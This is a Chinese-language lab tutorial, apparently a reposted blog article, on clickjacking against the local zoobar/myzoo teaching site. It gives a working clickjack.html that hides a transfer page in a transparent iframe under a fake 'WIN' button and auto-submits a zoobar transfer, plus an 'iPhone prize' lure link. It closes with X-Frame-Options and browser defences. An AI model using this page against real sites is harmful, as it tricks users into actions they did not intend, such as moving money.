點擊劫持技術
概念:又稱界面偽裝攻擊(ui redress attack),是一種視覺上的欺騙手段,攻擊者使用一個或多個透明的iframe覆寫在一個正常的網頁上,然后誘使用戶在該網頁上進行操作,當用戶在不知情的情況下點擊透明的iframe頁面時,用戶的操作已經被劫持到攻擊者事先設計好的惡意按鈕或鏈接上,
方式:攻擊者既可以通過點擊劫持設計一個獨立的惡意網站,執行釣魚攻擊等;也可以與XSS和CSRF攻擊相結合,突破傳統的防御措施,提升漏洞的危害程度,
點擊劫持攻擊實作
實施攻擊的一般步驟
- 黑客創建一個網頁,利用iframe包含目標網站
- 隱藏目標網站,使用戶無法察覺到目標網站存在
- 構造網頁,誘騙用戶點擊特定按鈕
- 用戶在不知情的情況下點擊按鈕,觸發執行惡心網頁的命令
配置myzoo網站
修改/etc/apache2/sites-available
如果myzoo的代碼位于/var/www,則僅需修改default,修改DocumentRoot為myzoo的位置,然后重啟apache2:sudo service apache2 restart;如果myzoo的代碼不是放在/var/www,還需修改apache2.conf,將 require all denied改成require all granted,此時,瀏覽器輸入http://localhost應該可以訪問zoobar網站,
在myzoo網站上創建一個clickjack用戶
將profile設定成 <a href="http://localhost/clickjack.html">點我贏iphone</a>
myzoo網站修改transfer.php中的if陳述句
<?php
session_start();
?>
<?php
require_once("includes/common.php");
nav_start_outer("Transfer");
nav_start_inner();
//這里修改成如下
if($_POST['submission'] && $_POST['token'] == $_SESSION['csrf']) {
$_SESSION['csrf'] = md5(uniqid(mt_rand(), true));
$recipient = $_POST['recipient'];
$zoobars = (int) $_POST['zoobars'];
$sql = "SELECT Zoobars FROM Person WHERE PersonID=$user->id";
$rs = $db->executeQuery($sql);
...
設定點擊劫持網頁clickjack.html
我將它放到了myzoo的同目錄下面,這個網站是黑客專門設定給用戶看到的界面,用來吸參考戶點擊,里面可以嵌入其他的網站來實作點擊劫持攻擊
clickjack.html代碼
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
<style>
iframe {
width: 1440px;
height: 900px;
position: absolute;
top: -0px;
left: -0px;
z-index: 2;
opacity: 0.5;
}
#clickjack {
position: absolute;
top: 307px;
left: 596px;
z-index: 1;
}
</style>
</head>
<body>
<iframe name="it" src="http://localhost/transfer.php" scrolling="no"></iframe>
<form method="POST" name="transferform" action="http://localhost/transfer.php" target="it" id="transferform"
style="display:none">
<input name="zoobars" type="text" value="1" size="5">
<input name="recipient" type="text" value="clickjack">
<input type="hidden" name="submission" value="Send">
</form>
<form>
<input type="submit" id="clickjack" value="WIN">
</form>
<script type="text/javascript">
form = document.getElementById("transferform");
form.submit();
</script>
</body>
</html>
代碼解釋
<iframe>標簽中嵌入了transfer.php頁面,并通過opacity設定透明度, iframe的透明度不能設定為0,如果設定為0的話,就不能接受任何的點擊事件了
css隱藏元素
display: none:不占據空間,無法點擊visibility: hidden:占據空間,無法點擊opacity: 0; filter:Alpha(opacity=0):占據空間,可以點擊
這里使用opacity設定透明度,為了便于觀察,將opacity設定成0.5
在clickjack.html中有一個form表單,里面設定了設定了一些表單引數,表單方式為post提交,提交的網站是“transfer.php”,script腳本中將該表單提交,當用戶進入到clickjack.html后即設定好了需要轉賬給黑客賬號clickjack的1個zoobar的引數,
當用戶查看攻擊者的profile時,被誘導點擊了按鈕時,其實點擊的是transfer.php頁面中的send按鈕,這樣就會給黑客發送一個zoobar
點擊劫持防御
服務端防御:
設定X-FRAME-OPTIONS回應頭
功能:X-Frame-Option http 回應頭部可以被用于設定瀏覽器是否允許通過<frame>, <iframe>, <embed> or <object>來渲染頁面,網站可以通過設定X-Frame-Option來確保網站的內容不會被嵌入到其他網頁中從而防御點擊劫持攻擊,
語法:
X-Frame-Options: DENY:網站不能被嵌入到frameX-Frame-Options: SAMEORIGIN: 頁面只能顯示在與頁面本身位于同一來源的frame中X-Frame-Options: uri: 表示該頁面可以在指定來源的 frame 中展示
配置方式
一、配置Apache在所有頁面上發送 X-Frame-Options 回應頭
修改apache組態檔中的000-default.conf,sudo vim /etc/apache2/sites-available/000-default.conf ,在里面加入Header always append X-Frame-Options DENY
重啟apache2后生效
sudo a2enmod headers
sudo systemctl restart apache2
二、直接在需要防御點擊劫持的頁面上設定X-Frame-Options 回應頭
在transfer.php頁面php頭部增加一句X-Frame-Options:DENY
header('X-Frame-Options:DENY');:所有的網頁都不允許加載iframe
header('X-Frame-Options:SAMEORIGIN');:同源網頁可以加載iframe
<?php
header("X-Frame-Options:DENY");
?>
客戶端防御
- 升級瀏覽器:最新版本的瀏覽器提供很多防御點擊劫持漏洞的安全機制
- NoScript擴展:NoScript中的ClearClick組件能夠檢測和警告潛在的點擊劫持攻擊,自動檢測頁面中可能不安全的頁面
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/254031.html
標籤:其他
